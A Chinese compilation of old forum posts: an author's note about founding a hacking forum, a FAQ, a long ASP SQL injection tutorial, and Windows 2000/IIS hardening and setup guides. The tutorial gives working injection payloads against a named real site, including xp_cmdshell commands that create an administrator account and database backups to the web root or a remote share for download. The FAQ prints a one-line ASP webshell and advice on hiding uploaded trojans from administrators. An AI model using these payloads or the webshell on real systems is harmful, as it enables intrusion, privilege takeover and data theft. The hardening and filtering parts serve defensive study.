高考后顺利升上广工,开始学做网页,学了一点PHOTOSHOP,FRONTPAGE,觉得自己还是不适合做这些感性的东西,还是编程比较适合我,由于打算学CGI,刚要学的时候,同学告诉我微软出了种叫ASP的语句,好象比CGI好很多,于是就转学ASP,由于以前写过两三年程序了,加上上网找资料方便多了,一个星期左右就写出个计数器,一个月就可以写留言本之类简单的东西了。当然,现在看来,那时候的代码写得是很幼稚的。
大学四年,真正学到的东西不多,不过数据库和管理信息系统的知识却对我现在的道路起着很大的作用,由于之前写过不少的数据库应用程序,所以书本的东西我很快就能应用到实际中来,而不象大多数同学一样,考完试就还给老师了。所以学院有什么网站或项目要做,都会找我去帮拖,帮老师做项目有两个好处,因为老师做的系统都是全部按规范化的流程设计的,可以学到不少东西,另一方面就是不怕考试不及格,呵呵,这在很多学校都是心照不宣的秘密。
正因为这样,毕业的时候找工作也很顺利,进了第一家公司,觉得一切都跟以前想象的大不相同,不管你多有能力,公司都不需要你做到最好,而是要你效率最高,在第一家公司做了一年,能学到的东西已经越来越少了,于是换了个工作环境,进了一家做ERP开发的公司,待遇还可以,而且公司的高手也挺多。不过ERP开发确实是个很费脑力的工作,整个系统有600多个表、9700个字段,25个模块两千多项功能,到现在一年多了解的还不到一半。
在这公司工作也不会很忙,所以经常可以跟网上的人聊聊天,交流一下技术。去年在动网闲逛,因为一个贴跟starlove和fcuandy吵得不可开交,不过不打不相识,我发现他们都是挺好相处的人,而且跟我一样,都是对技术非常执着的人,后来又认识了5945、Jadesun、纯生、酷酷、国哥这些人,大家都聊得很投机,就组织了个灌水公司,也就是现在的NB联盟。
NB成立以前期,都处在松散式的组织状况,灌灌水聊聊技术,直到后来跟动网的管理员起了摩擦,才想起何必帮别人打广告还要受人气呢,我们可以利用自己的技术优势,把联盟商业化。经过一段时间的摸索,NB的产品已经一个个开始推出了,联盟的论坛人气也越来越高。相信有一天,动网的人会发现,他们亲手造就了一个强大的竞争对手。
花了这么长篇幅介绍NB,也许是因为我觉得,NB是我现在和未来的希望,是我引以为傲的寄托。
流水帐就先记到这里,路还很长,没人能预料未来的事,但每个人都会希望明天会更精采,我也不例外。
____________________________________________________
本版FAQ及新手必读,新来的朋友请先看看
1.NBSI不是万能的,别指望NBSI能帮你猜解100%的站,甚至连手工猜解不出的都要NBSI去猜解.如果NBSI能猜解出来而手工猜解不了的,只是说明你的注入还没入门
2.不要把这里当成找黑客黑网站的地方,自己在尝试过程中有什么问题尽管提出,注意写清楚详细情况,注入是一项需要判断很多环境的技术.
3.不要试图把网址摆出来让别人从头到尾教你,也不要试图问一个几页纸都回答不完的问题,以后例如"这个网站怎么黑啊""怎么得到WebShell"之类的贴子我将直接删除.
4.不要发短讯让我帮你黑站,这是不可能的事,别浪费彼此的时间.
5.不要发表"UP""顶"之类的贴子,如果你觉得文章写得好,说出自己觉得好在哪里,而不是一味的顶贴.
6.发贴前最好先看看下面的下面常见问题解答,以免给人拍砖:
(1)问:什么叫SQL注入
答:http://nb.unionbyte.com/View.asp?PostID=1457033
(2)问:这种情况能不能注入
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'Clng' (或类型不匹配: 'CInt')
答:参数已经做了过滤,虽然不是很友好,但也是不能注入的了。
(3)问:得到网站后台管理权限后有没有方法在网站上上传木马?用什么办法!
答:找可以上传东西的地方,看能不能上传asp木马。
SQLSERVER的必须得到绝对路径,然后可以用NBWS等工具生成.
(4)问:这个MD5(如ab2a34fdf3fd232)怎么破?
答:目前MD5只能是暴力破解,请不要叫其他人破。自己去下载工具去破。工具在这里http://nb.unionbyte.com/View.asp?PostID=1457924
(5)问:防止sql注入的好方法!
答:分别从数字,字符,搜索防止。详细防止看小竹写的这个函数
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
(6)问:木马上传后怎么样才更隐蔽
答:从管理员角度去想问题,你可以写进他不常用的文件里面。不常看,常改的文件里面是比较安全的。或者写一句话木马<%if request("x")>"" then execute request("x")%>
(7)问:我得到了字符的unicode码以后,但是我不知道如何把它还原成字符啊。
答:SQLSERVER的nchar或VB的chrw都可以还原
(8)问:下载了数据库但找不到后台
答:找后台没有捷径,继续找,或尝试另外的思路。
引 言
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...
入 门 篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2. 程序没有判断客户端提交的数据是否符合程序要求。
3. 该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
高 级 篇
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用select这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防 范 方 法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,欢迎到www.54NB.com向提出,谢谢大家!
--------------------------------------------------------------------------------
说明:使用NBSI-NB联盟SQL注入分析器可以检测出各种SQL注入漏洞并进行解码,提高猜解效率.
版权:本文是我的原创连载文章,首发于www.54NB.com,欢迎各网站转载,请务必保留版权信息,媒体杂志转载前请先与本人联系.
-----------------------------------------------------------------------
本版FAQ及新手必读,新来的朋友请先看看
1.NBSI不是万能的,别指望NBSI能帮你猜解100%的站,甚至连手工猜解不出的都要NBSI去猜解.如果NBSI能猜解出来而手工猜解不了的,只是说明你的注入还没入门
2.不要把这里当成找黑客黑网站的地方,自己在尝试过程中有什么问题尽管提出,注意写清楚详细情况,注入是一项需要判断很多环境的技术.
3.不要试图把网址摆出来让别人从头到尾教你,也不要试图问一个几页纸都回答不完的问题,以后例如"这个网站怎么黑啊""怎么得到WebShell"之类的贴子我将直接删除.
4.不要发短讯让我帮你黑站,这是不可能的事,别浪费彼此的时间.
5.不要发表"UP""顶"之类的贴子,如果你觉得文章写得好,说出自己觉得好在哪里,而不是一味的顶贴.
6.发贴前最好先看看下面的下面常见问题解答,以免给人拍砖:
(1)问:什么叫SQL注入
答:http://nb.unionbyte.com/View.asp?PostID=1457033
(2)问:这种情况能不能注入
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'Clng' (或类型不匹配: 'CInt')
答:参数已经做了过滤,虽然不是很友好,但也是不能注入的了。
(3)问:得到网站后台管理权限后有没有方法在网站上上传木马?用什么办法!
答:找可以上传东西的地方,看能不能上传asp木马。
SQLSERVER的必须得到绝对路径,然后可以用NBWS等工具生成.
(4)问:这个MD5(如ab2a34fdf3fd232)怎么破?
答:目前MD5只能是暴力破解,请不要叫其他人破。自己去下载工具去破。工具在这里http://nb.unionbyte.com/View.asp?PostID=1457924
(5)问:防止sql注入的好方法!
答:分别从数字,字符,搜索防止。详细防止看小竹写的这个函数
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
(6)问:木马上传后怎么样才更隐蔽
答:从管理员角度去想问题,你可以写进他不常用的文件里面。不常看,常改的文件里面是比较安全的。或者写一句话木马<%if request("x")>"" then execute request("x")%>
(7)问:我得到了字符的unicode码以后,但是我不知道如何把它还原成字符啊。
答:SQLSERVER的nchar或VB的chrw都可以还原
(8)问:下载了数据库但找不到后台
答:找后台没有捷径,继续找,或尝试另外的思路。
____________________________________________________
动网7.0与win2003配置问题
作者:未知 来源:未知 加入时间:2004-6-21
论坛用一段时间 论坛就无法打开了 但是其他WEB网页都可以 郁闷了 每次打不开 都需要把IIS重启才可以访问
感谢 xfxp 告诉我 以下是他的回答 我按照修改配置后问题已经解决
Re:动网7.0和IIS有冲突?
我在2003里面关闭了RPC出错执行重启和IIS错误调试就完全正常了,现在和2000一样好用,还有那个SQL数据库的远程连接如果没有必要就关了吧,有时也会引起RPC错误
Re:动网7.0和IIS有冲突?
服务里面的,Remote Procedure Call (RPC),默认是出错重新启动,改为不执行
还有一个是IIS里面的IS5.0出错调试什么的,关掉就行了
另外最好装上JAVA虚拟机,WIN2003不自带的
Re:动网7.0和IIS有冲突?
将 IIS 配置为 IIS 5.0 隔离模式
在“IIS 管理器”中,展开本地计算机,右键单击“网站”,然后单击“属性”。
单击“服务”选项卡,选中“以 IIS 5.0 隔离模式运行 WWW 服务”复选框,然后单击“确定”。
______________________________________________________
win2K下配置asp+cgi+php+mysql全攻略
作者:未知 来源:未知 加入时间:2004-6-21
Indexing Service,
FrontPage 2000 Server Extensions,
Internet Service Manager (HTML)
这几个别装,还有其它的一些,总之不用的都别装。
(根据安全原则,最少的服务+最小的权限=最大的安全。)
首先,打开internet管理器(开始-->程序-->管理-->Internet服务管理)
如果照上面所安装的,里面有一个默认站点和一个smtp的服务项
选默认站点,删除其下面的所有目录。(按你键盘上的delete键)
停掉iis,最简单的方法:开始-->运行-->打入net stop iisadmin 选择Y回车 (启动的命令是:net start w3svc)
把C盘的Inetpub目录彻底删掉(停掉iis后才能删),在其它盘新建一个目录
在IIS管理器中将默认站点的主目录指向刚才新建的目录
如果你需要什么权限的目录可以自己慢慢建,需要什么权限开什么。
(特别注意写权限和执行程序的权限,没有绝对的必要千万不要给,默认是没给的,所以你不用研究,呵呵..)
应用程序配置:在IIS管理器中删除必须之外的任何无用映射,
留下ASP, ASA和其他你确实需要用到的文件类型,(除了cgi,php,其它的我想你都没用,删除htw, htr, idq, ida……)
不知道在哪删吗??方法:打开Internet服务管理->选择站点->属性->WWW服务->编辑->主目录->配置->应用程序映射,
然后就开始一个个删吧(没有全选的,真麻烦)。
接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本
(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?
随便你喜欢,自己看着办。点击确定退出时别忘了让虚拟目录继承你设定的属性。
为了对付日益增多的cgi漏洞扫描器,还有一个小技巧可以参考,
在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件,
可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单,
大多数CGI扫描器在编写时为了方便,都是通过查看返回页面的HTTP代码来判断漏洞是否存在的,
例如,著名的IDQ漏洞一般都是通过取1.idq来检验,如果返回HTTP200,就认为是有这个漏洞,
反之如果返回HTTP404就认为没有,如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件,
那么所有的扫描无论存不存在漏洞都会返回HTTP200,90%的CGI扫描器会认为你什么漏洞都有,
结果反而掩盖了你真正的漏洞,让入侵者茫然无处下手,不过从个人角度来说,
我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。
Win2000的账号安全是另一个重点,首先,Win2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表,
这个本来是为了方便局域网用户共享文件的,但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。
很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接,
实际上win2000的本地安全策略(如果是域服务器就是在域服务器安全和域安全策略中)就有这样的选项RestrictAnonymous(匿名连接的额外限制),
这个选项有三个值:
0:None. Rely on default permissions(无,取决于默认的权限)
1:Do not allow enumeration of SAM accounts and shares(不允许枚举SAM帐号和共享)
2:No access without explicit anonymous permissions(没有显式匿名权限就不允许访问)
0这个值是系统默认的,什么限制都没有,远程用户可以知道你机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum等等,对服务器来说这样的设置非常危险。
1这个值是只允许非NULL用户存取SAM账号信息和共享信息。
2这个值是在win2000中才支持的,需要注意的是,如果你一旦使用了这个值,你的共享估计就全部完蛋了,所以我推荐你还是设为1比较好。
好了,入侵者现在没有办法拿到我们的用户列表,我们的账户安全了……慢着,至少还有一个账户是可以跑密码的,这就是系统内建的administrator,怎么办?我改改改,在计算机管理->用户账号中右击administrator然后改名,改成什么随便你,只要能记得就行了。
改了超管理用户名后,在Terminal Service的登录界面还是可以看到的(你登录过就自已记住啦),
修改方法:
运行regedit,找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon
项中的Don't Display Last User Name串数据改成1,这样系统不会自动显示上次的登录用户名。
为了安全,你还可以打开TCP/IP筛选,桌面上右击网上邻居->属性->右击你要配置的网卡->属性->TCP/IP->高级->选项->TCP/IP过滤,
这里有三个过滤器,分别为:TCP端口、UDP端口和IP协议
TCP端口,点击"只允许",然后在下面加上你需要开的端口,一般来说WEB服务器只需要开80(www),
FTP服务器需要开20(FTP Data),21(FTP Control),3306(Mysql),3389(远程终端控制,如果你的主机托管在别人机房里,不能直接操作,就需要这个)
邮件服务器可能需要打开25(SMTP),110(POP3),我对端口没研究,但如果照本文所提供的服务,你只要开以上几个就行了。(80,20,21,25,3306,3389)
--cgi支持
下载activeperl (可到www.perl.com下载最新版)
1、解压,运行install.exe,默认是安装在 C:\PERL 下,不过为了方便,请最好安装到 C:\USR 目录下,(这样写 Perl 解释器的路径就可以直接用 #!/usr/bin/perl 了,可以保持单机环境和网络环境路径一致。 安装时一路按Y即可。)
2、安装好后,按照下面三步来修改注册表: 运行 RegEdit,搜寻: HKEY_LOCAL_MACHINE\System\Currentcontrlset\Services\W3svc\Parameters\scriptMap\ 键名,
然后增加键名:".cgi",键值:"C:\USR\BIN\perl.exe %s %s" 和键名:".pl",键值:"C:\USR\BIN\perl.exe %s %s"
(不懂得建?那么:在右边的框内--->点右键--->新建-->字符串值 名称改为.cgi,双击该键即可输入数值数据,也就是上面说的键值)
因为要让这台主机支持php,所以顺便在这里添加上php和php3的支持(以后新建站点时可省事)
增加键名".php",键值:"C:\php\php.exe %s %s"
增加键名".php3",键值:"C:\php\php.exe %s %s"
OK,重启后即生效!cgi支持搞定!以后新建站点后,在应用程序配置里面默认就会加上php和cgi的支持(不给这个权限的话删掉就是了)。
cgi支持搞定!
--mysql支持
下载mysql (可到www.mysql.com下载最新版本)
1、解压,运行setup.exe完全安装,默认安装路径为:c:\mysql;
2、安装完成后,打开“开始”按钮中的“运行”,输入命令:C:\mysql\bin\mysqld-nt.exe --install,并执行?
3、开始-->程序-->管理工具-->服务-->找到mysql-->启动它;
4、mysql安装完成,重启win2000
5、重启后打开C:\mysql\bin\winmysqladmin.exe,在第一次用它时,需要建立管理员名及密码,分别设置用户名和密码,设定后,系统托盘会出现一个“红绿灯”的小图标(以后系统启动时均会自动加载)。
6、OK,mysql支持搞定!
--php支持
下载PHP (可到www.php.com下载最新版本)
1、将 php 4.0.4 解压到 c:\php;
2、将PHP目录内的 php.ini-dist 文件拷贝到WinNT目录内,改名为 php.ini; (这是php的配置文件,无需更改即可运行,我没仔细研究)
3、根据需要修改 php.ini 文件内容,如要使用 session 功能,请建立 c:\tmp 目录,并将 php.ini 文档内 session.save_path 的值设置成为绝对路径:c:/tmp;
4、将PHP目录内的 Php4ts.dll 文件复制到 WinNt\System32 目录内;
5、在控制面板中的管理工具里启动“Internet 服务管理器”(IIS);
6、打开站点属性,在 'ISAPI 筛选器'选项中, 增加新的筛选器,用 'PHP' 作为筛选器名称,在“可执行文件”栏中填入php4isapi.dll及其路径 (c:\php\sapi\php4isapi.dll)。
7、在属性的"文档"选项中"启用默认文档"加入"index.php";
___________________________________________________
动网7.0 sp2惊现大漏洞,请用户注意!
作者:未知 来源:未知 加入时间:2004-5-19
近日,国内使用者众多的动网论坛惊现漏洞,请各站长注意并关注动网官方,及时打补。
目前解决方法:
关闭用户上传功能。
删除或改名论坛目录下reg_upload.asp及upfile.asp两个文件。
该漏洞危害程序很高,请站长们高度重视,密切关注动网官方。
官方补丁已出,请用户下载更新:
http://www.luntan.com.cn/soft/2386.htm
_____________________________________
Sql Injection ---sql 注射
infiltrate 渗透
_________________________________________________________________________
有一些朋友对网页技术的知识了解不是很多,对一些名词常常混淆。下面总结一下:
1、Java、JavaScript和JScript。
